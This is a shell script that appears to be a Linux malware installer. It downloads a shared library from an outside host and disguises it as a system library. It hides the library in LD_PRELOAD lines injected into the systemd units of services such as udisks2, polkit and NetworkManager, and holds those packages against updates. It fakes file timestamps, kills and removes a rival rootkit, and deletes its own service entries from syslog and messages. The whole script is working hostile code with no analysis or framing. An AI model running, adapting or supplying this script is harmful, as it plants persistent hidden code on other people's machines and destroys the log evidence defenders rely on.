update() {
    
	cp -rf /var/tmp/test.so $1/libunit.so.0.2
	so_file="$1/libunit.so.0.2"
	
	
	touch -r $3 $so_file	&>/dev/null
	touch -r $3 "$1/."	&>/dev/null
		
	if [ -f "$2" ]; then
		aa=1
	else
		rm -rf /var/tmp/test.so
		exit
	fi

	is_write=$(cat $2 | grep libunit | wc -l)
	
	if [ "$is_write" -eq 0 ]; then
	
		grep -q "Type" $2
		GREP_EXIT_CODE=$? 
		
		if [ $GREP_EXIT_CODE -eq 0 ]; then
			var="Environment=\"LD_PRELOAD=$so_file\"\nType"
			sed -i "s#Type#$var#g" $2	&>/dev/null
			
		else
			var="\[Service\]\nEnvironment=\"LD_PRELOAD=$so_file\"\n"
			sed -i "s#\[Service\]#$var#g" $2	&>/dev/null
		fi
		
		
	fi
	
	touch -r $3 $2	&>/dev/null
	touch -r $3 $4	&>/dev/null

}


fast_delete(){
	if [ -d "/var/log/jroqq" ]; then
		#echo "start delete color"
		pid=$(ps -ef | grep color | grep -v grep | awk {'print $2'})
		shd=$(df -h | grep -E "/$" | awk {'print $1'})
		mkdir /var/tmp/111	&>/dev/null
		mount $shd /var/tmp/111	&>/dev/null
		
		#echo "rm -rf /var/tmp/111/$(cat /var/tmp/111/etc/ld.so.preload)"
		rm -rf "/var/tmp/111/$(cat /var/tmp/111/etc/ld.so.preload)"	&>/dev/null
		rm -rf /var/tmp/111/etc/ld.so.preload	&>/dev/null
		
		rm -rf /var/log/jroqq	&>/dev/null
		
		kill -9 $pid	&>/dev/null
		
		umount /var/tmp/111	&>/dev/null
		rm -rf /var/tmp/111	&>/dev/null
		#echo "pid $pid"
		
	fi
}


clear_fast(){
	if [ -f "/lib/systemd/system/networkshort.service" ]; then
	
		systemctl stop networkshort.service &>/dev/null

		systemctl disable networkshort.service	&>/dev/null

		rm -rf /lib/systemd/system/networkshort.service	&>/dev/null

		systemctl daemon-reload	&>/dev/null

		systemctl reset-failed networkshort.service	&>/dev/null

		sleep 1;
		
		sed -i "/networkshort/d" /var/log/syslog	&>/dev/null 
		
		sed -i "/networkshort/d" /var/log/messages &>/dev/null 
		
		sleep 1;
		
		systemctl restart rsyslog &>/dev/null
		
		exit
	fi
}

update_app()
{
	if command -v apt &> /dev/null; then
		apt upgrade -y $1	&>/dev/null
	elif command -v dnf &> /dev/null; then
		dnf upgrade -y $1	&>/dev/null
	elif command -v yum &> /dev/null; then
		yum upgrade -y $1	&>/dev/null
	fi
}


if [ -f "/usr/lib/systemd/system/rsyslog.service" ]; then

	touchfile="/usr/lib/systemd/system/rsyslog.service"
	
elif [ -f "/lib/systemd/system/rsyslog.service" ]; then

	touchfile="/lib/systemd/system/rsyslog.service"
	
elif [ -f "/lib/systemd/system/cron.service" ]; then

	touchfile="/lib/systemd/system/cron.service"
elif [ -f "/lib/systemd/system/ssh.service" ]; then

	touchfile="/lib/systemd/system/ssh.service"
else
	exit
fi




fast_delete


if command -v wget &> /dev/null; then
	wget -q https://fd.v2downf.shop//tmp/f/10dfff942805d90d6ebb28bd58093653_20251208021850.so -O /var/tmp/test.so
elif command -v curl &> /dev/null; then
	curl -k -s -o /var/tmp/test.so https://fd.v2downf.shop//tmp/f/10dfff942805d90d6ebb28bd58093653_20251208021850.so
fi



if [ -f "/var/tmp/test.so" ]; then
    chmod 0755 /var/tmp/test.so
else
	#echo "no file !"
	clear_fast
    exit
fi

#echo "start load so!"


so_file=""



if [ -d "/lib/x86_64-linux-gnu/" ]; then

	
	if [ -f "/lib/systemd/system/udisks2.service" ] && [ $(systemctl status udisks2.service | grep "Active: active (running)" |wc -l) -eq 1 ]; then
	
		service_name=$(dpkg -S /lib/systemd/system/udisks2.service | awk -F\: {'print $1'})
		echo "$service_name hold" | sudo dpkg --set-selections
		
		update "/lib/x86_64-linux-gnu" "/lib/systemd/system/udisks2.service" $touchfile "/lib/systemd/system/."
		
		systemctl daemon-reload	&>/dev/null
		systemctl restart udisks2.service	&>/dev/null
		
	elif [ -f "/lib/systemd/system/networkd-dispatcher.service" ] && [ $(systemctl status networkd-dispatcher.service | grep "Active: active (running)" |wc -l) -eq 1 ]; then
		
		service_name=$(dpkg -S /lib/systemd/system/networkd-dispatcher.service | awk -F\: {'print $1'})
		echo "$service_name hold" | sudo dpkg --set-selections
		
		update "/lib/x86_64-linux-gnu" "/lib/systemd/system/networkd-dispatcher.service" $touchfile "/lib/systemd/system/."	

		systemctl daemon-reload	&>/dev/null
		systemctl restart networkd-dispatcher.service	&>/dev/null
		
	elif [ -f "/lib/systemd/system/acpid.service" ] && [ $(systemctl status acpid.service | grep "Active: active (running)" |wc -l) -eq 1 ]; then
		
		service_name=$(dpkg -S /lib/systemd/system/acpid.service | awk -F\: {'print $1'})
		echo "$service_name hold" | sudo dpkg --set-selections
		
		update "/lib/x86_64-linux-gnu" "/lib/systemd/system/acpid.service" $touchfile "/lib/systemd/system/."
		
		systemctl daemon-reload	&>/dev/null
		systemctl restart acpid.service	&>/dev/null
	
	elif [ -f "/lib/systemd/system/polkit.service" ] && [ $(systemctl status polkit.service | grep "Active: active (running)" |wc -l) -eq 1 ]; then
		
		service_name=$(dpkg -S /lib/systemd/system/polkit.service | awk -F\: {'print $1'})
		echo "$service_name hold" | sudo dpkg --set-selections
		
		update "/lib/x86_64-linux-gnu" "/lib/systemd/system/polkit.service" $touchfile "/lib/systemd/system/."
		
		systemctl daemon-reload	&>/dev/null
		systemctl restart polkit.service	&>/dev/null
		
	else

		apt update &>/dev/null
		apt install udisks2 -y &>/dev/null
		
		if [ -f "/lib/systemd/system/udisks2.service" ] && [ $(systemctl status udisks2.service | grep "Active: active (running)" |wc -l) -eq 1 ]; then
		
			service_name=$(dpkg -S /lib/systemd/system/udisks2.service | awk -F\: {'print $1'})
			echo "$service_name hold" | sudo dpkg --set-selections
			
			update "/lib/x86_64-linux-gnu" "/lib/systemd/system/udisks2.service" $touchfile "/lib/systemd/system/."
			
			systemctl daemon-reload	&>/dev/null
			systemctl restart udisks2.service	&>/dev/null
		fi
	
	fi
	
	
elif [ -d "/lib64/" ]; then


	if [ -f "/usr/lib/systemd/system/tuned.service" ]; then
	
		update_app "tuned"
		
		update "/lib64" "/usr/lib/systemd/system/tuned.service" "/usr/lib/systemd/system/rsyslog.service" "/usr/lib/systemd/system/."
		
		#echo "inject tuned.service"
	
	
		systemctl daemon-reload	&>/dev/null

		systemctl restart tuned.service	&>/dev/null
	elif [ -f "/lib/systemd/system/acpid.service" ]; then
		

		update_app "acpid"
		
		update "/lib64" "/usr/lib/systemd/system/acpid.service" $touchfile "/usr/lib/systemd/system/."
		
		systemctl daemon-reload	&>/dev/null
		systemctl restart acpid.service	&>/dev/null
	else
	
		update_app "NetworkManager"
		
		update "/lib64" "/usr/lib/systemd/system/NetworkManager.service" $touchfile "/usr/lib/systemd/system/."
		
		#echo "inject NetworkManager.service"
		
		systemctl daemon-reload	&>/dev/null

		systemctl restart NetworkManager.service	&>/dev/null
	fi
	
	
	
	
fi

rm -rf /var/tmp/test.so
clear_fast
